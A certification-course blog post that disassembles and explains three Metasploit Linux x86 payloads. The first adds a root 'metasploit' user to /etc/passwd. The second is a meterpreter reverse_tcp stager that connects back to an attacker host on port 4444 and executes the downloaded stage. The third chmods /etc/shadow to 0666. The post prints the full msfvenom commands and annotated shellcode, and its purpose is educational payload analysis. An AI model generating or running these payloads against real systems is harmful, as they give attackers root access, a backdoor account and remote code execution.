So… here we go with assignment 5 (of 7). In this assignment I’ll dissect three different MsfVenom (-> Metasploit Framework) payloads and explain, what they do..
Disclaimer:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-890
This time no sources available but I included the generated .bin files and the shellcode.c skeleton on my github page in case you wanna have some fun by yourself .-)
Let’s go!
First target: linux/x86_adduser (adds a user to /etc/passwd).
First: Generate the shellcode binary with msfvenom.
# msfvenom -p linux/x86/adduser -f raw | ndisasm -b 32 -
Next we send the binary through ndisasm. Please note that I had to run this twice since ndisasm wasn’t picking up correct offsets for the write() function at offset 0x53 so I re-ran ndisasm and skipped all bytes before 0x53 to get proper code. Here the full disassembly:
; ndisasm -b 32 linux_x86_adduser.bin ; int setregid(gid_t rgid, gid_t egid) ; int setregid(0, 0) xor ecx,ecx mov ebx,ecx push byte +0x46 pop eax int 0x80 ; syscall 70: setreuid ; int open(const char *pathname, int flags); push byte +0x5 pop eax xor ecx,ecx ; flags = 0 push ecx ; zero terminate string push dword 0x64777373 ; dwss push dword 0x61702f2f ; ap// push dword 0x6374652f ; cte/ mov ebx,esp ; pathname = /etc//passwd inc ecx ; flags = 1 = O_WRONLY mov ch,0x4 ; flags = 0x0401 = O_WRONLY | O_NOCTTY int 0x80 xchg eax,ebx ; fd -> ebx call dword 0x53 string: db "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 0x0a ; ndisasm -b 32 -k 0,82 linux_x86_adduser.bin to get correct start offset for this func ; ; ssize_t write(int fd, const void *buf, size_t count); pop ecx ; pop (string to write) mov edx,[ecx-0x4] ; size of buffer (0x28) push byte +0x4 pop eax int 0x80 ; sysall: write ; void _exit(int status); push byte +0x1 pop eax int 0x80 ; syscall: exit
Ok, that’s pretty straightforward. It does the following:
- Sets UID and GID to 0 (root)
- Open /etc//passwd for WRITE (and apparently also APPEND although the append bit -0x2000- is not set)
- Writes the buffer (a passwd-compatible string, user: metasploit, pass: metasploit), appending to the open file
- It doesn’t bother to close the file, it just calls the exit syscall to finish its work
Very basic and very to the point. And works just fine.
Next stop: linux/x86/meterpreter/reverse_tcp. Again, we trigger the disassembly.
# msfvenom -p linux/x86/meterpreter/reverse_tcp | ndisasm -b 32
Here the analyzed and cleaned up assembly code for that first part of the multi-stage meterpreter code (bytecode removed for better visibility).
; int socketcall(int call, unsigned long *args); ; sets up socket with AF_INET, SOCK_STREAM, IPPROTO_IP) xor ebx,ebx mul ebx ; clean registers push ebx ; IPPROTO_IP inc ebx ; call = 1 (sys_socket) push ebx ; SOCK_STREAM push byte +0x2 ; AF_INET mov al,0x66 mov ecx,esp int 0x80 ; int socketcall(int call, unsigned long *args); -> ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; connect back to attacker's box (meterpreter handler) xchg eax,edi pop ebx push dword 0x230aa8c0 ; ip: 192.168.10.35 push dword 0x5c110002 ; port: 4444 mov ecx,esp push byte +0x66 pop eax push eax push ecx push edi mov ecx,esp inc ebx ; fd = 3 int 0x80 ; sys_connect ; int mprotect(void *addr, size_t len, int prot); ; set memory protection flags for 2b downloaded code mov dl,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC mov ecx,0x1000 ; 0x1000 bytes mov ebx,esp ; memory address (buffer to read to) shr ebx,byte 0xc shl ebx,byte 0xc ; align to 0x1000-offset address mov al,0x7d int 0x80 ; sys_mprotect ; ssize_t read(int fd, void *buf, size_t count); ; download some code from meterpreter handler and execute pop ebx ; ebx: fd = 3 mov ecx,esp ; ecx: buffer to read to cdq mov dh,0xc ; edx: 0xc00 bytes mov al,0x3 ; eax: 3 int 0x80 ; sys_read ; done! jump code jmp ecx ; jump to received code (stage)
This is also very straightforward. The code does the following.
- Create a socket
- Connect back to the attacker’s machine (with running multi/handler) at port 4444
- Now something special: It sets memory protection bit for 0x1000 bytes of memory to READ, WRITE and EXEC
- Final step: Read 0xC00 bytes from the attacker’s box (which should have started sending some stage code to this stager) and execute the received code in memory
Third analysis: linux/x86/chmod. Analyze the shellcode by doing this command:
# msfvenom -p linux/x86/chmod | ndisasm -b 32
Following the cleaned up and documented code:
cdq push byte +0xf pop eax push edx call _do_chmod _pathname: db '/etc/shadow', 0 ; int chmod(const char *pathname, mode_t mode); _do_chmod: pop ebx ; pop pathname from stack push dword 0x1b6 pop ecx ; mode: 0666 (octal) int 0x80 ; syscall: chmod push byte +0x1 pop eax int 0x80 ; syscall: exit
This is also very easy. The following things are done:
- Call the syscall “chmod” for pathname “/etc/shadow” with mode 0666 octal (or 0x1b6 in hex)
- Exit gracefully
That’s it for this assignment! See you in the next one.